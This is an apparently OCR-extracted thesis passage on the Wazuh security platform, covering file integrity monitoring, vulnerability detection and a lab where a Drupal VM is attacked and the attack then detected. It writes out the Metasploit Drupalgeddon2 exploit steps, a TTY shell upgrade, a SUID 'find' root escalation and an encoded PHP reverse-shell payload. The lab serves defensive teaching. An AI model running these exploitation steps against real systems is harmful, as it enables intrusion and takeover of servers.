2.5.1 How it works

In the following, we will be seeing how this advantage exactly works.

Monitored host Wazuh server
A' W. agent : . @ W. manager
-
-l :Aloe‘,f,m,mg . File integrity monitoring m . Decoder PR
< ﬁ
™S Registries : Database sinchronization s‘m"ﬂm . Rule match Agents database
| & ] monitoring ge

l

@ File integrity DB

. . Alerts files

Figure 18: FIM mechanism

In the Wazuh agent, the FIM module monitors the files and stores the checksums and attributes in a
local database. It stores the Windows registry keys as well. Modifications are detected by comparing
the checksums of the newly created files with those of the old files. Wazuh manager receives
notifications of all changes detected.

Wazuh manager's file inventory is always updated based on the Wazuh agent's file inventory, thanks to
the FIM synchronization mechanism. During FIM synchronization, the Wazuh agent and Wazuh
manager databases are periodically calculated to ensure integrity. The Wazuh manager updates only
outdated files, optimizing FIM data transfers. An alert will be generated whenever modifications to

monitored files and/or registry keys are detected.

31



2.5.2 Test the File Integrity Monitoring

As a small test, we would like to show how easily we can configure Syscheck for our Raspberry Pi

agent by going to /var/ossec/etc/shared/linux/agent.conf and inserting the following.

¢ agent.conf of linux group

1~ <agent_config>

2

Sl ==

monitor file changes for any folder on my Linux systems -->
<syscheck>

<directories check_all="yes" realtime="yes">/home/pi/downloads</directories>
</syscheck>

Figure 19: Syscheck Configuration for Raspbian OS

After that, we will add a file on the mentioned directory above, which is /home/pi/downloads, and from

the Integrity Monitoring section on our Wazuh Manager GUI, we can notice the following event with

the alert.

= WQZURN. v Modules  raspherrypi  Integrity menitoring ®

manager.name: wazuh || rule.groups: syscheck | agentid: 041

wazuh-alerts-* ~

Q Search field names
(& Fitter by type
Selected fields

t  rule.description

t ruleid

# rulelevel

+  syscheck event

+  syscheck path

Available fields

t agentid
t agentip
t agentname
t

deceder.name

=

Count

+ Add filter

Time

May 28, 2822 @ 17:26:58.719

May 28, 20822 @ 17:26:56.378

240 hits

May 7, 2022 @ 04:38:24.750 - May 22, 2022 @ 03:10:34198  Auto

2022-05-15 00:00 2022-05-17 00:00 2022-05-18 00:00 2022-05-21 00:00

il

2022-05-13 00:00

timestamp per 12 hours

syscheck.path syscheck.event

/orange/E/Anas.txt modified

Jorange /EfAnas . txt modified

~

rule.description rule.level rule.id
Integrity checksum chan 7 550
ged

Integrity checksum chan 7 550
ged.

Figure 20: Add a file called orange to the specific directory /home/pi/downloads

The point is worth mentioning, every time an operating system update is performed, or major software

is installed/removed, FIM File Integrity Monitoring generates large volumes of events. Using the

Wazuh API, clear a system's syscheck database before performing updates.

Later, we will see more about how File Integrity Monitoring is a very powerful feature that Wazuh has

provided.
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By combining Wazuh's syscollector module and vulnerability-detector module, we can identify which
of the many software packages installed on the system may be vulnerable. The syscollector tool can
scan the system for all installed software packages on every agent.

2.6.1 How it works

An agent-specific database is created in the Wazuh manager, where this information is stored for later
assessment. The vulnerability detector on Wazuh manages a copy of the CVE source data for each agent
package and compares it with the CVE (Common Vulnerabilities and Exposures) database, which is
created automatically and can be configured to be updated periodically, ensuring that the solution

checks for the latest CVESs, and once the match is detected, alerts will be generated [18].

The CVE list contains publicly disclosed information security vulnerabilities and exposures, it
simplifies the sharing of vulnerability information, so cybersecurity strategies are always up to date

with the latest security flaws and security issues.

In other words, the detection process searches the inventory databases (individually unique for each
agent) for packages with vulnerabilities (based on the CVEs in the global vulnerability database). In
case of a CVE affecting a package on a monitored host, an alert is triggered. When a package's version

falls within a CVE's affected range, it is considered vulnerable.

In addition to being presented as alerts, the results are also stored in an inventory of vulnerabilities per
agent, and this is essential to review the alerts from the last scan or query the vulnerabilities of every

agent from its vulnerabilities inventory.

We have two types of alerts that the Wazuh manager could generate:

o Detection alerts: Alerts are generated when a new vulnerability is detected; they are triggered
when a vulnerability is added to the vulnerability inventory.
o Removal alerts: Alerts are generated when a vulnerability is removed; they are triggered when

a vulnerability is removed from the vulnerability inventory.
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A typical vulnerability detector workflow can be illustrated using the example diagram below [73]:

Wazuh Manager Wazuh Age

t System inventory

0S8 DB synchronized

First scan after enabling
Vulnerability Detector

Baseline scan.
Vulnerabilities added
to the inventory.
Alerts generated.

Config time e

interval: expired

Partial scan.
Vulnerabilities removed
from the inventory.
Alerts generated.

Partial scan.
Vulnerabilities remaved
from the inventory.
Alerts generated.

Full scan.
interval: expired Vulnerabilities added and removed
from the inventory.
min_full_scan_interval: expired Alerts generated.

Figure 21: Vulnerability-detector-workflow
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2.6.2 Test the Vulnerability Detection

As part of our lab setup, Syscollector will be configured to run on both the Wazuh server and Windows
10 operating system. Our Wazuh server will also be configured with a vulnerability detector to
periodically scan the collected inventory data to identify vulnerable packages. On the Wazuh manager
GUI, we will see relevant log messages and vulnerability alerts.

In Wazuh's Windows vulnerability detector, we look at the installed software and windows updates of

windows hosts to detect vulnerabilities based on the National Vulnerability Database (NVD).

By default, The Vulnerability Detector is working on the Wazuh manager side because it stores the
inventory of the connected agents. After some modifications to the Vulnerability detector block, we can
say that it works to detect vulnerabilities for our systems, as we can see the configuration in
the /var/ossec/etc/ossec.conf file:

<vulnerability-detector>
<enabled>yes</enabled>
<interval>5m</interval>
<ignore_time>6h</ignore_time>

<run_on_start>yes</run_on_start>

<l-- Ubuntu OS vulnerabilities -->
<provider name="canonical">
<enabled>yes</enabled>
<os>trusty</os>
<os>xenial</os>
<os>bionic</os>
<os>focal</os>
<update_interval>1h</update_interval>

</provider>

<!-- Debian OS vulnerabilities -->
<provider name="debian">
<enabled>no</enabled>
<os>stretch</os>
<os>buster</os>
<update_interval>1h</update_interval>
</provider>
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<l-- RedHat OS vulnerabilities -->
<provider name="redhat">
<enabled>no</enabled>
<os>5</0s>
<0s>6</0s>
<os>7</os>
<0s>8</0s>
<update_interval>1h</update_interval>

</provider>

<l-- Windows OS vulnerabilities -->

<provider name="msu">
<enabled>yes</enabled>
<update_interval>1h</update_interval>

</provider>

<l-- Aggregate vulnerabilities -->

<provider name="nvd">
<enabled>yes</enabled>
<update_from_year>2010</update_from_year>
<update_interval>1h</update_interval>

</provider>

</vulnerability-detector>
Vulnerability detector - Ossec.conf file

When the NVD database is updated by the Wazuh manager, this message must appear in

the /var/ossec/logs/ossec.log file, as it is shown in the highlighted part of the figure below:

Jul 13, 2622 wazuh-modulesd:vulnerability-detector INFO (548@): Starting 'National Vulnerability Database’ database update. ]
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database' feed finished successfully.

Jul 13, 2622 wazuh-modulesd:vulnerability-detector INFO (5480): Starting 'Mational Vulnerability Database’ database update.

Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database’' feed finished successfully.

wazuh-modulesd
wazuh-modulesd

:vulne lity-detector INFO (5488):
:vulnerability-detector INFO

Starting 'National Vulnerability base' database update
: The update of the 'National Vulnerability Database’ feed finished

successfully.

CRENC NN RN & © RN

Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5488): Starting 'National Vulnerability Database' database update.
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database' feed finished successfully.
Jul 13, 2622 wazuh-modulesd:vulnerability-detector INFO (548@): Starting 'National Vulnerability Database’ database update.
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database' feed finished successfully.
Jul 13, 2622 wazuh-modulesd:vulnerability-detector INFO (5480): Starting 'Mational Vulnerability Database’ database update.
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database' feed finished successfully.
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5488): Starting 'National Vulnerability Database' database update.
Jul 13, 2622 wazuh-modulesd:vulnerability-detector INFO (5438): The update of the 'National Vulnerability Database' feed finished successfully.
Jul 13, 2822 wazuh-modulesd:vulnerability-detector INFO (5488): Starting 'National Vulnerability Database' database update.
Al 12 2A227 @ wazuh-mndulead unlnarahilitv-detertnr TNFN  (5428)+ The undate nf the 'Natinnal Vilnerahilitv Natahase' feed finiched sucresefullv

Figure 22: NVD database-update
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Once the Vulnerability scanning is finished, we can go through the Wazuh User Interface and check
which kind of vulnerabilities has been detected.

= WGZUh.\/ Modules = Asswad = Vulnerabilities @

manager.name: wazuh || rule.groups: vulnerability-defector | agentid: 042 | + Add filter
wazuh-alerts-* & 2,296 hits
QU Search field names Apr 14, 2022 @ 10:23:36.230 - Jul 13, 2022 @ 10:23:36.230  Auto v

Count

1 datavulnerabiiity.
severty

@ Filter by type 0 50
Selected fields
t  data vunerability.cve -
package name

+  dalavunerabiity timestamp per day
status
Time « data.vulnerability.package.name data cve data. ility. severity data. ility. statu
Available fields
t agentid > Jun 16, 2622 @ 19:38:54.941 Windows 18 CVE-2822-38198 High Solved
t| agentip s Jun 15, 2022 @ 17:19:37.936 Windows 18 CVE-2022-30198 High Active
t agentname
s May 27, 2022 @ 15:00:42.357 Oracle WM VirtualBox 6.1.8 CVE-2019-18219 Medium Solved
+| data.integration
t  data.virustotal.found > May 27, 2822 @ 15:09:42.347 Oracle VM VirtualBox 6.1.8 CVE-208208-14628 High Solved
 datavirustotal. _ B _ B
malicious s  May 27, 2622 @ 15:89:42.337 Oracle VM VirtualBox 6.1.8 CVE-2020-14629 Medium Solved

Figure 23: Vulnerabilities on the Windows 10 OS

In our case, it is obvious that there were two critical vulnerabilities, and both of them have been solved.

By going in a bit deeper into the first alert, which was on the 16th of Jun, we can see the vulnerability
CVE-2022-30190, which is a Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code
Execution (RCE) Vulnerability [17].

Using MSDT, it is possible to collect information to be sent to Microsoft Support to be analyzed to

determine the solution to any computer problems.

Asswad  Vulnerabilities @

Table JSON
t _index wazuh-alerts-4.x-2022.86.16
t agent.id 042
t agent.ip 10.20.255.197
t agent.name Asswad

t data.vulnerability.cve CVE-2822-36198
t data.vulnerability.cvss.cvss2.base_score 9. 3goeee
t data.vulnerability.cvss.cvss3.base_score 7. gooeoe

t data.vulnerability.package.architecture x4

t data.vulnerability.package.name Windows 1@

t data.vulnerability.package.version 18.0.190844

B data.vulnerability.published Jun 1, 2822 @ B2:00:00.000

t data.vulnerability.references https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-387198, htt

p://packetstormsecurity.com/files/167438/Microsoft-0ffice-Word-MSDTJS-Code-Execution.h
tml, https://nvd.nist.gov/vuln/detail/CVE-20822-30198

Figure 24: More details about the detected vulnerability
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By looking at the (Figure 24), the other vulnerability has been detected (CVE-2019-10219) in our
Windows system because of the packages of the Oracle VM VirtualBox 6.1.8; we have solved it by
upgrading the application to the new version.

In summary, users can scan their windows endpoints to find vulnerabilities. The Wazuh alert will

indicate which patch is needed if a vulnerability has an immediate fix.

A CDB is an acronym for a constant database. In this configuration, keys are mapped to values, and an
on-disk associative array is created. Creating and reading are the only operations they allow. Adding
new data to the CDB list after its initial creation (compilation) is no longer possible. Recompiling a
CDB is necessary to add new data.

Use cases:

o Users (black or white lists)
o IP address lookups
« Indexing a list of bad domains
It is also a convenient way to index databases and perform lookups on them [30].

CDB lists need to be stored in the directory /var/ossec/etc/lists/, and they need to have a specific
format. A created file such as /var/ossec/etc/lists/SSH-1P-address-list could contain entries that

classifies attacker IPs as "bad" or "terrible":

1.2.3.4:bad
55.55.186.244:bad
2.2.2.2:terrible

The left part before the () we call the “key,” and the right part is the “value.” Then, we need add to

the <ruleset> section of /var/ossec/etc/ossec.conf on the manager:
<list>etc/lists/ SSH-1P-address-list </list>

Afterward, we need to add a new rule to the /var/ossec/etc/rules/local_rules.xml directory that can be
matched; for example, when a specific attacker has the IP address involved in the CDB List attempted

to SSH a server we are monitoring using a wrong password; the alert will trigger.
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Monitored host Wazuh server

a W. agent : -~
v : : &' W. manager
Logcollector ~————+ Remoted —
: : T 1 Analysisd
: Pre-decoding
‘ : | B archives json
! : : Decodin
Active : execd : : 2: The event 9 — [B alertsjson
response.log : : : fires an alert |
: configured in Rule matching
: - : : Active Response
iptables ¢ : ar-script.sh :

Figure 25: Active response - How it works

To reduce risk and contain damage, we need our system automated remediation of security violations
and threats. A remediation solution can perform actions or alert configurations to prevent access to the

service or network where the threat came from.

This automated remediation is called "Active response "in Wazuh. The active response allows to
execution of a script whenever a rule is matched by the ruleset. Any number of responses can be attached
to any rules [1].

There are two types of active response: stateful and stateless.
o Stateful. After a specified amount of time, the action will be undone.

o Stateless. They are configured as one-time actions without the ability to reverse the original
effect.
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3 Experiments

In this chapter, we will employ Wazuh to detect various attacks and vulnerabilities. We will start
implementing the Lab and building it on our VirtualBox, which contains many computer systems virtual
machines such as Kali Linux, windows 8, and DC:1 (Debian 32-bit), all of which have the Wazuh agent

installed.

To make our virtual machines inside the VirtualBox talk to each other, on the Network page, next to
Attached, select Bridge Adapter in the drop-down menu [33]. Take note of the Name, VirtualBox
Host-Only Ethernet Adapter [Figure 26].

% Oracle VM VirtualBox Manage 3 Kali Linux - Settings ? X
E General Network
Tools
%%EP @ System Adapter 1 Adapter 2 Adapter 3 Adapter 4
ﬁ""t“ 20.04 |§| Display Enable Network Adapter
saved Attached to: | Bridged Adapter -
(2) Sterage ' : :
Mame: |VirtualBox Host-Only Ethernet Adapter hd
."". Windows 8 (DII Audio
{ 1| @ Powered OFF > Advanced
@ Metwork
@ Serial Ports
ﬁ USE
P DC-1vulnhub
@ Powered Off Ij Shared Folders

Uzer Interf
2, Typhoon vulnhub Ifl serintenace
, (@) Powered OFF

(=" osCP vuinhub
f @ Powered Off
(=N metasploitable 2
! (@) Powered OFF

[ [ Vo R |

Cancel

Figure 26: VirtualBox Network Configuration

If we set up the other virtual machines, we can check their IP addresses and run the Ping command.
This will verify they can communicate with each other and with other machines outside of our
VirtualBox but on the same network. Basically, we need to be sure that our guest machines can

communicate with the host machine.
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Cybercrime is rising, so it is essential to understand how to implement security in a business
environment. By performing penetration tests, businesses can evaluate their IT infrastructure's security.
Among the best penetration testing frameworks [67], Metasploit helps businesses identify and patch
vulnerabilities in their systems before hackers exploit them. Basically, Metasploit allows to hack with
permission. It is one of the very popular penetration testing frameworks in the world.

In this section, we will discuss what Metasploit and meterpreter are, what the Metasploit framework is,

and how to use the Metasploit framework.

The goal is to exploit a vulnerable server using Metasploit, and then we will see how to use Wazuh to
detect various attacks. It contains a collection of tools that can be used to test vulnerabilities, enumerates
networks, runs attacks, and evade detection [31].

3.1.1 Introduction
Our simulation will demonstrate how an attacker exploits Linux vulnerability via Metasploit to gain
root access. Once that is done, we will install the Wazuh agent on our vulnerable system, then we will

run the same attack again and notice what Wazuh can give us as a result.

First, we would like to show the Lab environment for this attack which contains different servers, like
kali Linux, Wazuh Manager, and DC:1 OS.

DC:1 will be the vulnerable machine (the victim), and Kali Linux OS (the attacker), where all of them
have been installed on the VirtualBox. Of course, all the Virtual machines have been installed on the

same network with the Wazuh Manager server.

3.1.2 Attacking the vulnerable machine

In the beginning, we will start by showing how we can find holes in a computer system that can
completely give an access to the entire computer. We will see in the following how we can scan the
computer system for different kinds of services they are running and look for vulnerabilities of those
systems, look for witnesses in those services, and how they can give us access to find exploits they are
available, making sure that this computer system is sensible for attacks, then we can utilize those

exploits to give us the access to the victim machine.
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We will go to the Kali Linux VM and run "nmap" command to scan a specific computer so we can find
these services available and the searching for exploits associated with those vulnerabilities; by using
the #netdiscover command on Kali Linux, this tool will show us all the available servers in our network
as we can see our vulnerable machine's IP v4 address which is 10.20.255.71, then, for being sure that
there is connectivity between the two VMs (attacker and victim) we use the #ping command. Now is

the time to execute #nmap 10.20.255.71.

Shome/kali

Starting Nma
Nmap scan repor
Host is up (@.00012s latency).
Not shown: 997 closed tcp po
PORT STATE SERVICE
tcp open ssh
tcp open http
111/tcp open rpcbind
MAC Address: 08:08 FE:B&:BB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

Figure 27: NMAP the target
Nmap is a network mapping service, and it can help us investigate and prop a computer to check for

services for versions. In this case, we can identify the following, 22/tcp, 80/tcp, and 111/tcp.

As we can notice, the port 80 HTTP is open, so we can open that IP (http://10.20.255.71) in our browser
to get the following result:

@ Welcome to Drupal Site | Drupzl X+

< C A Notsecure | 10.20.255.71

‘/ Drupal Site
L o)

User login Welcome to Drupal Site

Username *
No front page content has been created yet.

Password *

+ Create new account
+ Request new password

Log in

Figure 28: Drupal Web Server having the IP 10.20.255.71
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The system (DC-1) we aim for seems to be the one shown above. It is running a Drupal web server. So,
we can see all these kinds of services they are open up in Figure [28]; Next, we do an investigation
about all of these specific ports. As a result, they are giving witnesses that we can try to exploit to get
access to it. What we will do is to find the version in association with those particular services that are
open by adding -sV to our previous command to become

# nmap 10.20.255.168 -sV

Right now, we can figure out what exactly is going on in this particular computer having a DC:1 OS.

ome/kali
71
Starting Nmap https://nmap.org ) at -p6-27 06:34 EDT
Nmap scan re for 10.20.
Host is up (¢
ot shown: 9
STATE

open

B (Oracle tual NIC)
:linux:1 rnel

: detection performed. Please report any incorrect results at https://n
ma rg/submit/ .
Nmap e: 1 IP address (1 host up) scanned in seconds

Figure 29: This gives me more precise feedback about the current services
Now we will start Metasploit, the exploitation framework that would give us access to the entire
computer system by writing # msfconsole. There is probably no better way to interact with the

Metasploit Framework (MSF) than through msfconsole. A central console provides easy access to all
the options available in the MSF through an "all-in-one™ interface [32].

/Shome/kali

xiliary - 396 post
ads - 45 encoders - 11 nops

=[[
=[
=[[
=[

a module, use
prompt

msfs > i

Figure 30: Interact with the Metasploit Framework (MSF)
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irch drupal

atching Modules

Disclosure Date
Description

normal

normal

normal

Interact with a module by name or index. For example i

Figure 31: Different modules help us to run our attack

As we can notice, in our case, we have a lot of different kinds of modules that we can run to check the
computer system; we can see a lot of methods that we can use as a part of the hack.

This time we try Drupal Drupalgeddon 2 Forms API Property Injection, one of the most recent and
ranked tools. And it is worth mentioning that the CVE-2018-7600 vulnerability is exploited in this
attack [35]. As a part of the exploitation, we will use this scanning method to get access to the entire
computer and execute: # use exploit/unix/webapp/drupal_drupalgeddon2

All we must do now is underset our host and the IP address that we are targeting, 10.20.255.71.

# set RHOSTS 10.20.255.71

Then hit enter on this #show options; this will show us all the options we have to key in to check

whether this specific computer can be vulnerable to this attack, as it is shown in Figure [33].

Module options (ex
Name o e Setting Required
DUMP_OUTPUT a no
P NC E r yes
p s no
RHOSTS 0.20 yes
CP)
or outgoing connection

to Drupal inst

Des

The listen address (an interface may be specifi
ed)
LPORT 4444 y The listen port

Figure 32: Showing the options that we have of the target system
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Then we hit enter # run, to find ourselves almost inside, we can check by running some commands like

"systeminfo" "getuid" as we can see in the following figure:

msf6 exploit(

G444 — 10.20.255.71:

36 #1 Debian 3.2.1@02-1 i686

Figure 33: Meterpreter shell running

As a result of the exploit, we are logged in as www-data on the server DC-1. However, we have no root
privileges, and we need to gain them. So, we get a reverse shell and spawn a TTY shell using Python.

y.spawn("/bin/bash" )"’

Figure 34: Using spawning a TTY shell

We might ask ourselves, the reason of using spawning a TTY shell

There are some commands that cannot be executed if we have a non-tty-shell. Typically, this happens
when we upload reverse shells to a web server to get a shell issued by the user www-data or something
similar. These users do not need to have shells, as they do not interact with the system similarly to
humans. As a result, we cannot run su or sudo, for instance, without a tty-shell. If we obtain a root
password but cannot utilize it, this might be frustrating [36].

Anyway, we can upgrade these shells to tty-shell using the following methods:

Using python: # python -c 'import pty; pty.spawn("/bin/sh")'

Next, we look for files that have SUID permission:

Figure 35: Files that have SUID permission
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Several binaries have the Set User ID (SUID) bit set, a permission bit flag that applies to executables.
The SUID feature allows an alternate user to run an executable file with the same permissions as the

original owner (with root privileges).

A binary with the SUID bit set retain elevated privileges and may be used to access the file system [37].
And we realized that the find binary could be exploited if the SUID bit is set:

www —datag@DC-1:/var/ww$ find
find . -exe /bin/sh \; -qguit

# whoami
whoami
root

Figure 36: Gain the root access

We have now gained root access. Let us create another root user so that we can easily access it via SSH:

—— - o~

[sudo] password for kali:
/home/kali
root@l@.20.255.71
root@10.20.255.71"'s password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 1686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Mon Jun 27 19:19:26 2022 from 10.20.255.234
rootaDC-1:~# |

Figure 37: SSH the vulnerable machine

Right now, we can easily ssh our vulnerable server with our username and password.

It was a successful Metasploit attack. A Drupal vulnerability and incorrect permission configuration

enabled us to create a root user with full access to the virtual machine.

After we have succeeded in doing this kind of attack on our VVulnerable machine, we are going to install

and configure the Wazuh agent on the system (DC:1).

46



3.1.3 Installing and configuring Wazuh agent in the vulnerable machine
Following, we will show how we can prepare our Wazuh Manager to detect the Metasploit attack we
have seen previously. The same for the victim machine (DC:1); we also have to install and configure

the Wazuh agent in this machine.

3.1.3.1 Step 1: Configuring SCA to detect vulnerable versions of Drupal
Based on CVE-2018-7600, we were able to exploit the following Drupal versions [52]:
o Before 7.58
e 8.xbefore 8.3.9
o 8.4.x before 8.4.6
e 8.5.xbefore 8.5.1

Wazuh analyses installed applications for vulnerabilities using the Vulnerability Detection module; it
gathers the list of installed applications and correlates them with vulnerability feeds such as the NVD
[53]. In our case, since Drupal is downloaded as a zip file instead of a package, we can not use the
Vulnerability detector module. However, we can create our SCA policy to check if we have a vulnerable

version of Drupal.

Next, we will add the first SCI policy file to /var/ossec/etc/shared/default/sca_drupal.yaml
[52],[55].[56]-

GNU mano 2.9.3 /var/ossec/ectc/shared/default/sca drupal.yaml

Figure 38: SCA_drupal.yaml|
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We have to enable this SCI policy on our agent, going to /var/ossec/etc/shared/default/agent.conf and

add the following:

14 - <agent_config»

15 l-- enable sca_drupal.yaml policy for metasploit attack --»

<scar
<enabledsyes</enabled>
<scan_on_start>yes</scan_on_start>
<interval>15m</interval>

b = |
] MLS
4

[}
(e

= S 0
4

2 <skip _nfs»yes</skip nfs»

2 <policies>

22 ¢policy>»/varfossec/etc/shared/sca _drupal.yaml</policy>
23 </policies>»

24 <fscad

-

;]

<fagent_config»
Figure 39: Enable SCA_drupal.yaml policy for Metasploit attack
3.1.3.2 Step 2: SCA configuration to detect dangerous binaries with SUID bit set
As we have seen before in the "attacking the vulnerable machine" section, root access could be gained

during the Metasploit attack due to the SUID bit set in the find command. SCA policies can track this
type of binaries.

In view of the fact that some binaries legitimately contain the SUID bit, they must be excluded. We use
the default list created by Anon-Exploiter/SUID3NUM [54].

Next, we will add the first SCI policy file to /var/ossec/etc/shared/default/sca_systemfiles.yaml

N

Figure 40: SCA_systemfiles.yaml|
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https://github.com/Anon-Exploiter/SUID3NUM/blob/master/suid3num.py

As we did before, we must enable this SCI policy on our agent, going to
Ivar/ossec/etc/shared/default/agent.conf

by adding this line <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>

to the lines we have already created before, as we can see in the following figure.

14 ~ <agent_config>

15 <!l-- enable both sca systemfiles.yaml and sca drupal.yaml policies for metasploit attack --»
16~ {scar

17 <enabled»yes</enabled>

18 <scan_on_start»yes</scan_on_start»

19 <interval»15m</interval>

28 <skip nfs»yes</skip nfs>»

21~ <policies>»

22 <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>

23 <policy>»/var/ossec/etc/shared/sca_systemfiles.yaml</policy>
24 </policies>»

25 </scax

26 <fagent_config>»

27

Figure 41: Enable both SCA_systemfiles.yaml and SCA_drupal.yaml| policies for metasploit attack

3.1.3.3 Step 3: Detecting meterpreter

The following figure showing suspicious processes will appear in a Metasploit attack on the vulnerable
machine by executing this command:

# ps -eo user,pid,cmd | grep www-data

user,pid, cmd W —data

T
=

WA
ey

~+ ~+
w
=
~+ +

[T TR TR < TR
L B B |
=+

+ +
+ r+

W e
—+

=+

GOydGT u* |

YikpOyBicmVhazsgfSB9IC
+'dH1_1-:EEddID g JHNfdH 1w

LmRpc2Fi X 7 ._11: mVhdGWVtZny
csICRiKTsgJHN1aG%9za Y (7 Dg ZW> ( 0JGIpOyBOSIGRpZ

www-data 3829 php -r eval(baae&h F._Em_l_m-l'\lm-IG'--'

(TsgJG1wIDBgJzEwL JIwL JI1NS4xNz J'-'I.r‘ID'g-AI’.:_LJQ'ndI AQIDDG[‘-JDDTILJ] m

Figure 42: Some suspicious processes on our Vulnerable machine (DC:1)
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Furthermore, we will be able to find an open connection for the 3829 PID, which is a unique number
that identifies every running process in an operating system by executing the following command on

our vulnerable machine:

# netstat -tunap | grep 3829

tep o 155 . 71145747 P.2@.255.173: 444 CLOSE_WATI
T 3 /

Figure 43: Open connection for the 3289 PID

When a process tries to evaluate some base64 code, we should consider it an unusual situation and alert
about it. So, we will run a command to list the processes in our agents. When the string

eval(base64_decode) appears in a process, we will generate an alert.

Below, we will see how to configure the command in order to list the processes, and it will be added to

Ivarlossec/etc/shared/default/agent.conf

25 - <wodle name="command" >

26 <disabled»no</disabled>

27 <tagrps-list</tag>

23 <command»ps -eo user,pid,cmd</command>
29 <interval»6@s</interval>

38 <ignore_output>no</ignore_output:

3 <run_on_start>yes</run_on_start>

32 <timeout>5</timecut>

< /wodlex

Figure 44: Command configuration

Now, we will create a specific rule with a unique ID to detect all processes evaluating base64 code.

From the Wazuh manager, we go to /var/ossec/etc/rules/local_rules.xml

136

131 <!-- start a new rule for metasploit attack, Create the rule to detect processes evaluating baseb4 code--»
132

133~ <group name="wazuh,">

134~ <rule id="118118" level="8">

135 <location>command_ps-1ist</location>

136 <description>List of running process.</description»
137 <group>process_monitor,</group>

138 </rule»

139

148 ~ ¢rule id="118111" level="18"»

141 <if_sid>118118</if_sid»

142 <match»eval(basefd_decode</match>

143 <description>Reverse shell detectaed.</description>
144 <group>process_monitor,attacks</group>

145 </rule>»

146  </group>

147

Figure 45: Create a new rule to detect processes evaluating base64 code
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3.1.3.4 Step 4: Applying previous changes
In order to make our new rule effective and apply it, we should restart the Wazuh manager, whether
from the GUI or the command shell, using the following command:

# Systemctl restart wazuh-manager

3.1.3.5 Step 5: Installing the Wazuh agent

When we install the Wazuh agent on the vulnerable machine, we will be able to monitor this machine.
It is important to remember that the configuration of our agents is done remotely from the manager, and
there are commands in the configuration (in the SCA and command features). Therefore, we need to
enable the following settings in the agent and restart it to apply the change:

# echo -e "sca.remote_commands=1\nwazuh_command.remote_commands=1" >>

/var/ossec/etc/local_internal_options.conf
# service wazuh-agent restart

3.1.4 Detecting the attack with Wazuh
In this section, we will redo the same attack we have done before and monitor how Wazuh will warn

us and give an alert telling us that there is a dangerous event happening.

Running automatic check ("set Aut to disable)

[!] The se ce is running, but could n alidated.
Sending (39860 bytes) to 108.20.: 1
1 opened (1@
6 -0400

Figure 46: Executing Metasploit attack for the second time
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We go to the GUI of the Wazuh server to see how the Rule we have created previously detects the

meterpreter session.

= WQZUR. v wodules Dot Security events ®

wazuh-alerts-* 820 hits
QU seareh field names Jul 5, 2022 @ 21:26:41.425 - Jul 6, 2022 @ 21:26:41.425  Auto v
S Filter by type 0
Selected fields o
t fulllog H i
8 o
t  rule.description
t ruleid 0 — — —_— ]
# rulelevel o o o o o o

timestamp per 30 minutes

Available fields

+ agentid Time - rule.description rule level rule.id full_log
t agentip 5 Jul 6, 2822 @ 19:47:04.260 Reverse shell dete 18 a1 www-data 6662 php -r eval(base64_decode(LyoB8P3BocCAVKiovIGYycmIyX
cted. 3J1cGIydGluZygwkTsgJG1wIDag JZEwL jIwLjITNS4xNzMnOy Ak cGIydCAIIDONDO
f] agentname 7161mICgoJGYgPSANCIRYZWFEX3NvY2t1dFOjbE11bnanKSANI1BpCT 8] YNXSYWISZ
7 dataid SgkZ1kpIHsgJHMgPSAkZig1dGNwD18veyRpcHAGeyRub3JBTSIpOytkc198eXB1IDA
gJ3NBCMVhbSC7IHAgaWY gKCEKCY AN 1 A0JGYOPSANZNNYYZ T CGVUJykgI1YgaXNTy
+  data protocol 2FsbGF1bGUOJGYpPKSB7ICRZIDAGIGY0JG1wLCAkcGSydCk7ICRZX3R5CGUGPSANCR

VZWFT.I750fSRN71A0TSRZTOYMTCAKT 1 AQTCAZhINTZXRFVA.ITYXR.Ivka 11 Yaa XNFY

t datasrcip
» Jul 6, 2822 @ 19:47:84.258 Reverse shell dete 18 118111 wew-data 6661 sh -c php -r 'eval(base64_decode(Lyo8P3BocCAvKiovIG
cted. VycmayX3J1cG9ydGluZygwk TsgJG1WIDagZEWL JIwL j TTNS4xNzMNOy Ak cGIydCAS
IDQBNDO7IGIMICgoJGYgPSANC3RYZWF tX3NvY2t1dF91hG11bnanKSAMIiBPC 197 YN
xsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOiBveyRpcHB6eyRwb3 BT SIpOyAke198
tid eXB1IDBgJ3NBcmVhbSc7IHBgaWYgKCEkeYAm)1A0JGY gPSANZNNVY2tveGVuykaJi

t dataur

t decodername

Figure 47: Detect the meterpreter session

We can notice from the figure above how the new rule, which has the (ID: 110111), detects a meterpreter
session, as we can see from the rule description we have inserted. The most important part is the
full_log, where we can read suspicious processes appearing in a Metasploit attack and how our rule was
able to detect that process evaluating base64 code, highlighted in the figure above. More and more

security events have been fired with different processes evaluating base64 code.

In addition, Metasploit generates a log in the Apache server during exploitation, which matches the

rule Web server 400 error code (ID: 31101) that indicates that an attack might have occurred.

@ Elastic

= WAQZUR. v Modules DCt o Security events ®
wazuh-alerts-* = 5 hits
QU Search field names Jul 5, 2022 @ 21:33:50.381 - Jul 6, 2022 @ 21:33:50.381  Auto v
@) Fitter by type 0
Selected fields

t agentname

t location

¢ ruledescription

Count
|

¢ rulegroups

timestamp per 30 minutes

t ruleid
Time « rule.description ruleevel rule.id agent.name location rule.groups
# rulelevel
